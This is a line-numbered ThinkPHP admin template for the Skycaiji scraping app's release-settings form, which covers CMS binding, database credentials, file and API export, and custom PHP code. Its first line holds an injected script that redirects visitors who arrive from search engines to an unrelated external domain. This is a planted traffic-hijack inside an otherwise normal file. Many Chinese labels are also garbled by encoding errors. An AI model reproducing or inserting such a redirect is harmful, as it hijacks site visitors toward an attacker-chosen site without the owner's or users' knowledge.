d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\release\set.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><extend name="Common:main" />
002: <block name="cssjs">
003: <script type="text/javascript" src="__PUBLIC__/js/admin/release.js?{$Think.config.HTML_V}"></script>
004: </block>
005: <block name="content">
006: <form id="form_rele" class="form-item" method="post" ajax-submit="true" action="{:U('Release/set')}">
007:    <input type="hidden" name="task_id" value="{$taskData['id']}" />
008:    <input type="hidden" name="release_id" value="" />
009:    <div class="form-group">
010:       <div class="input-group">
011:          <label class="input-group-addon">{$Think.lang.rele_module}</label>
012:           <select name="module" class="form-control">
013:             <option value="">{$Think.lang.select_first}</option>
014:             <foreach name="Think.config.RELEASE_MODULES" item="rele_module">
015:              <option value="{$rele_module}">{:L('rele_module_'.$rele_module)}</option>
016:              </foreach>
017:          </select>
018:          <div class="input-group-btn"><button class="btn btn-default" type="button" id="btn_import_release">导入配置</button></div>
019:       </div>
020:    </div>
021:    <div class="rele-module" id="rele_module_cms" module="cms" style="display:none;">
022:       <ul id="cms_tab" class="nav nav-tabs">
023:          <li class="active"><a href="#cms_tab_detect" data-toggle="tab">€测CMS程序</a></li>
024:          <li><a href="#cms_tab_bind" data-toggle="tab">数据绑定</a></li>
025:          <li style="float:right"><a href="{:U('Develop/releaseCms')}">€发CMS发布应用</a></li>
026:       </ul>
027:       <div id="cms_tab_content" class="tab-content" style="margin-top:-1px">
028:          <div class="tab-pane fade in active" id="cms_tab_detect">
029:             <div class="panel panel-default">
030:                <div class="panel-body">
031:                   <div class="form-group">
032:                      <button type="button" class="btn btn-default btn-cms-detect">{$Think.lang.rele_btn_detect}</button>
033:                   </div>
034:                   <div class="form-group" id="cms_list"></div>
035:                </div>
036:             </div>
037:          </div>
038:          <div class="tab-pane fade" id="cms_tab_bind">
039:             <div class="panel panel-default">
040:                <div class="panel-body">
041:                   <div class="form-group" id="cms_info">
042:                      <div class="input-group">
043:                         <label class="input-group-addon"><b>{$Think.lang.rele_cms_path}</b></label>
044:                         <input type="text" name="cms[path]" class="form-control" value="{$config['cms']['path']}" />
045:                         <span class="input-group-btn"><button class="btn btn-default btn-cms-bind" type="button">€始绑?/button></span>
046:                      </div>
047:                   </div>
048:                   <div class="form-group" id="cms_bind">
049:                   </div>
050:                </div>
051:             </div>
052:          </div>
053:       </div>
054:    </div>
055:    <div class="rele-module" module="db" style="display:none;">
056:       <ul id="db_tab" class="nav nav-tabs">
057:          <li class="active"><a href="#db_tab_config" data-toggle="tab">数据库配?/a></li>
058:          <li><a href="#db_tab_table" data-toggle="tab">数据?/a></li>
059:       </ul>
060:       <div id="db_tab_content" class="tab-content" style="margin-top:-1px">
061:          <div class="tab-pane fade in active" id="db_tab_config">
062:             <div class="panel panel-default">
063:                <div class="panel-body">
064:                   <div class="form-group">
065:                       <label>{$Think.lang.rele_db_type}</label>
066:                       <select name="db[type]" class="form-control">
067:                         <option value="mysql">mysql</option>
068:                      </select>
069:                    </div>
070:                    <div class="form-group">
071:                       <label>{$Think.lang.rele_db_host}</label>
072:                       <input name="db[host]" class="form-control" value="{$config['db']['host']?$config['db']['host']:'localhost'}">
073:                    </div>
074:                    <div class="form-group">
075:                       <label>{$Think.lang.rele_db_port}</label>
076:                       <input name="db[port]" class="form-control" value="{$config['db']['port']?$config['db']['port']:3306}">
077:                    </div>
078:                    <div class="form-group">
079:                       <label>{$Think.lang.rele_db_charset}</label>
080:                       <input name="db[charset]" class="form-control" value="{$config['db']['charset']}">
081:                    </div>
082:                    <div class="form-group">
083:                       <label>{$Think.lang.rele_db_name}</label>
084:                       <div class="input-group">  
085:                          <input name="db[name]" class="form-control" value="{$config['db']['name']}">
086:                            <div class="input-group-btn"><button type="button" class="btn btn-default btn-db-names">选择数据?/button></div>
087:                         </div>
088:                    </div>
089:                    <div class="form-group">
090:                       <label>{$Think.lang.rele_db_user}</label>
091:                       <input name="db[user]" class="form-control" value="{$config['db']['user']}">
092:                    </div>
093:                    <div class="form-group">
094:                       <label>{$Think.lang.rele_db_pwd}</label>
095:                       <input type="password" name="db[pwd]" class="form-control" value="{$config['db']['pwd']}">
096:                    </div>
097:                    <div class="form-group">
098:                         <button type="button" class="btn btn-default btn-db-connect">测试连接到数据库</button>
099:                       <div class="rele-db-error"></div>
100:                    </div>
101:                </div>
102:             </div>
103:          </div>
104:          <div class="tab-pane fade" id="db_tab_table">
105:             <div class="panel panel-default">
106:                 <div class="panel-body">
107:                 <if condition="empty($releData['config']['db'])">
108:                    请先保存“数据库配置?
109:                 <else/>
110:                    <div class="form-group">
111:                        <div class="input-group db-table-list">
112:                        </div>
113:                     </div>
114:                     <div class="form-group">
115:                      <div class="panel-group db-table-bind" id="db_table_bind"></div>
116:                      <p class="help-block">如需绑定自增主键,€择“自定义内容”输入€auto_id@表名”,例如“auto_id@table123”,注意:表是按顺序插入数据,前面的表不能绑定后面表的自增主?/p>
117:                   </div>
118:                </if>
119:                </div>
120:              </div>
121:          </div>
122:       </div>
123:    </div>
124:    <div class="rele-module" id="rele_module_file" module="file" style="display:none;">
125:       <div class="box box-default">
126:          <div class="box-body">
127:             <div class="form-group">
128:                <label>文件存放目录</label>
129:                <div class="input-group">
130:                   <div class="input-group-addon">{:C('ROOTPATH')}\data\</div>
131:                   <input type="text" class="form-control" name="file[path]" />
132:                   <div class="input-group-btn">
133:                      <button type="button" class="btn btn-default btn-file-rand-path">随机目录</button>
134:                   </div>
135:                </div>
136:                <p class="help-block">请务必输入一个复杂的目录以防止他人破解目录下载数据!</p>
137:             </div>
138:             <div class="form-group">
139:                <label>文件格式</label>
140:                <div class="input-group">
141:                   <label class="radio-inline">
142:                     <input type="radio" name="file[type]" value="xlsx"> Excel2007(.xlsx格式)
143:                   </label>
144:                   <label class="radio-inline">
145:                     <input type="radio" name="file[type]" value="xls"> Excel2003(.xls格式)
146:                   </label>
147:                </div>
148:             </div>
149:          </div>
150:       </div>
151:    </div>
152:    <div class="rele-module" id="rele_module_api" module="api" style="display:none;">
153:       <div class="box box-default">
154:          <div class="box-body">
155:             <div class="form-group">
156:                <label>api地址</label>
157:                <div class="input-group">
158:                   <div class="input-group-addon">{$api_url}</div>
159:                   <input type="text" class="form-control" name="api[url]" />
160:                   <div class="input-group-btn">
161:                      <button type="button" class="btn btn-default btn-api-rand-url">随机字符?/button>
162:                   </div>
163:                </div>
164:                <p class="help-block">
165:                   请务必输入一个复杂的字符串以防止他人破解api下载数据?
166:                   <if condition="!empty($releData['config']['api']['url'])">
167:                   <a href="{$api_url}{$releData['config']['api']['url']}" target="_blank">{$api_url}{$releData['config']['api']['url']}</a>
168:                   </if>
169:                </p>
170:             </div>
171:          </div>
172:       </div>
173:    </div>
174:    <div class="rele-module" id="rele_module_diy" module="diy" style="display:none;">
175:       <input type="hidden" name="diy[type]" value="app">
176:       <ul id="diy_tab" class="nav nav-tabs">
177:          <li class="active"><a href="#diy_tab_app" data-toggle="tab" data-type="app">使用插件</a></li>
178:          <li><a href="#diy_tab_code" data-toggle="tab" data-type="code">使用代码</a></li>
179:       </ul>
180:       <div id="diy_tab_content" class="tab-content" style="margin-top:-1px">
181:          <div class="tab-pane fade in active" id="diy_tab_app">
182:             <div class="panel panel-default">
183:                <div class="panel-body">
184:                   <div class="form-group">
185:                      <label>插件?/label>
186:                      <input type="text" class="form-control" name="diy[app]" />
187:                      <p class="help-block">请在网站根目?SkycaijiApp/Release/Diy目录中创?b></b>插件,可参€目录中的DemoDiy.class.php文件</p>
188:                   </div>
189:                </div>
190:             </div>
191:          </div>
192:          <div class="tab-pane fade" id="diy_tab_code">
193:             <div class="panel panel-default">
194:                <div class="panel-body">
195: <if condition="!C('OPEN_DIY_CODE')">
196:    出于安全考虑,如€€启该功能,请在根目录配置文件"data/config.php"中添加设?
197:    <b>'OPEN_DIY_CODE'=>TRUE</b>
198: <else />
199:                   <div class="form-group">
200:                      <div class="table-responsive">
201:                      <table>
202:                      <thead>
203:                         <tr>
204:                            <th>数据库类?/th>
205:                            <th>服务?/th>
206:                            <th>库名?/th>
207:                            <th>用户?/th>
208:                            <th>密码</th>
209:                            <th>端口</th>
210:                            <th>表前€</th>
211:                            <th>编码</th>
212:                         </tr>
213:                      </thead>
214:                      <tbody>
215:                         <tr>
216:                            <td>
217:                               <select name="diy[db_type]" class="form-control">
218:                                  <option value="mysql">mysql/mysqli</option>
219:                                  <option value="sqlserver">mssql/sqlsrv</option>
220:                                  <option value="oracle">oracle</option>
221:                                  <option value="mongo">mongo</option>
222:                                  <option value="sqlite">sqlite</option>
223:                                  <option value="ibase">ibase</option>
224:                                  <option value="pgsql">pgsql</option>
225:                                  <option value="PDO">PDO</option>
226:                               </select>
227:                            </td>
228:                            <td><input type="text" name="diy[db_host]" value="localhost" class="form-control" /></td>
229:                            <td><input type="text" name="diy[db_name]" class="form-control" /></td>
230:                            <td><input type="text" name="diy[db_user]" class="form-control" /></td>
231:                            <td><input type="text" name="diy[db_pwd]" class="form-control" /></td>
232:                            <td><input type="text" name="diy[db_port]" value="3306" class="form-control" /></td>
233:                            <td><input type="text" name="diy[db_prefix]" class="form-control" /></td>
234:                            <td><input type="text" name="diy[db_charset]" value="utf8" class="form-control" /></td>
235:                         </tr>
236:                      </tbody>
237:                      </table>
238:                      </div>
239:                   </div>
240:                   <div class="form-group">
241:                      <label>PHP代码</label>
242:                      <textarea name="diy[code]" class="form-control" rows="5"></textarea>
243:                      <div class="help-block">
244:                         可用变量?fields = 采集到的字段数据列表?url = 采集的页面网€?this->db() = 数据库操作, 可参考thinkphp3.2的数据库操作
245:                         <br>获取字段值必须使?$this->get_field_val($field);方法(可处理图片本地化?,否则使?field['value']调用字段原始?
246:       
247:       <p style="border-top:dashed 1px #ccc;padding-top:10px;margin-top:10px;">
248:       必须以数组形式返回:
249:       <br>* id(必填)表示入库返回的自增id或状?
250:       <br>target(可选)记录入库的数据位置(发布的网€等)
251:       <br>desc(可选)记录入库的数据位置附加信?
252:       <br>error(可选)入库的错误信?
253:       <br>return array('id'=>0,'target'=>'','desc'=>'','error'=>'');
254:       </p>
255:       入库的信息可在€已采集数据”中查看
256:                      </div>
257:                   </div>
258: </if>
259:                </div>
260:             </div>
261:          </div>
262:       </div>
263:    </div>
264:    <if condition="!empty($releData['config'])">
265:    <a href="{:U('Release/test?id='.$releData['id'])}" target="_blank" onclick="windowIframe('测试',$(this).attr('href'),{lg:1});return false;" class="btn btn-default btn-block" style="margin-bottom:10px;">测试发布(需先保存设置)</a>
266:    </if>
267:    <div class="form-group">
268:       <button type="submit" class="btn btn-primary btn-block">{$Think.lang.save}</button>
269:    </div>
270: </form>
271: <if condition="$taskData">
272: <include file="Task:stepsbar" />
273: </if>
274: <script type="text/javascript">
275: var releaseClass=new ReleaseClass('form_rele',{$releData["id"]|intval});
276: releaseClass.init();
277: <if condition="!empty($releData)">
278: releaseClass.load({$releData|json_encode});
279: </if>
280: </script>
281: </block>
282:
283: